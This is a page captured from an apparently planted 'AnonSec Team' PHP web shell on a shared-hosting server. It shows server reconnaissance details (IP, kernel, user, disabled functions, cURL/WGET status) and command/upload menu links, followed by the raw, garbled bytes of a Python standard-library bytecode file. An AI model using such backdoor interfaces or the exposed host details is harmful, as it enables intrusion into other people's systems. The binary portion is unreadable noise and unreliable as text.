AnonSec Team
Server IP : 92.112.182.140  /  Your IP : 216.73.216.152
Web Server : LiteSpeed
System : Linux lt-bnk-web1998.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u549600550 ( 549600550)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /lib64/python3.9/concurrent/../__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/python3.9/concurrent/../__pycache__/_compression.cpython-39.pyc
a

�DOg��@s:dZddlZejZGdd�dej�ZGdd�dej�ZdS)z7Internal classes used by the gzip, lzma and bz2 modules�Nc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�
BaseStreamzMode-checking helper functions.cCs|jrtd��dS)NzI/O operation on closed file)�closed�
ValueError��self�r�$/usr/lib64/python3.9/_compression.py�_check_not_closedszBaseStream._check_not_closedcCs|��st�d��dS)NzFile not open for reading)�readable�io�UnsupportedOperationrrrr�_check_can_readszBaseStream._check_can_readcCs|��st�d��dS)NzFile not open for writing)�writablerrrrrr�_check_can_writeszBaseStream._check_can_writecCs(|��st�d��|��s$t�d��dS)Nz3Seeking is only supported on files open for readingz3The underlying file object does not support seeking)r
rr�seekablerrrr�_check_can_seeks
zBaseStream._check_can_seekN)�__name__�
__module__�__qualname__�__doc__r	r
rrrrrrr	s
rcsjeZdZdZdd�Zddd�Z�fdd�Zd	d
�Zdd�Zddd�Z	dd�Z
ejfdd�Z
dd�Z�ZS)�DecompressReaderz5Adapts the decompressor API to a RawIOBase reader APIcCsdS)NTrrrrrr
$szDecompressReader.readablercKsB||_d|_d|_d|_||_||_|jfi|j��|_||_dS)NFr���)�_fp�_eof�_pos�_size�_decomp_factory�_decomp_args�
_decompressor�_trailing_error)r�fp�decomp_factory�trailing_error�decomp_argsrrr�__init__'szDecompressReader.__init__csd|_t���S�N)r�super�closer��	__class__rrr';szDecompressReader.closecCs
|j��Sr%)rrrrrrr?szDecompressReader.seekablec	Csxt|��X}|�d��.}|�t|��}||dt|��<Wd�n1sH0YWd�n1sf0Yt|�S)N�B)�
memoryview�cast�read�len)r�b�view�	byte_view�datarrr�readintoBsLzDecompressReader.readintorcCs�|dkr|��S|r|jrdSd}|jjr�|jjp<|j�t�}|sDq�|jfi|j	��|_z|j�
||�}Wq�|jy�Yq�Yq�0n4|jjr�|j�t�}|s�t
d��nd}|j�
||�}|r"q�q"|s�d|_|j|_dS|jt|�7_|S)Nr�zACompressed file ended before the end-of-stream marker was reachedT)�readallrr�eof�unused_datarr-�BUFFER_SIZErr�
decompressr�needs_input�EOFErrorrrr.)r�sizer2�rawblockrrrr-Hs@

��
zDecompressReader.readcCs0|j�d�d|_d|_|jfi|j��|_dS)NrF)r�seekrrrrrrrrr�_rewindrszDecompressReader._rewindcCs�|tjkrnR|tjkr"|j|}n<|tjkrP|jdkrD|�tj�rDq6|j|}ntd�	|���||jkrr|�
�n
||j8}|dkr�|�ttj|��}|s�q�|t|�8}q||jS)NrzInvalid value for whence: {})
r�SEEK_SET�SEEK_CURr�SEEK_ENDrr-�DEFAULT_BUFFER_SIZEr�formatr?�minr.)r�offset�whencer2rrrr>xs&






zDecompressReader.seekcCs|jS)z!Return the current file position.)rrrrr�tell�szDecompressReader.tell)r)r)rrrrr
r$r'rr3r-r?rr@r>rH�
__classcell__rrr(rr!s

*r)rrrCr8�BufferedIOBaser�	RawIOBaserrrrr�<module>s

AnonSec - 2021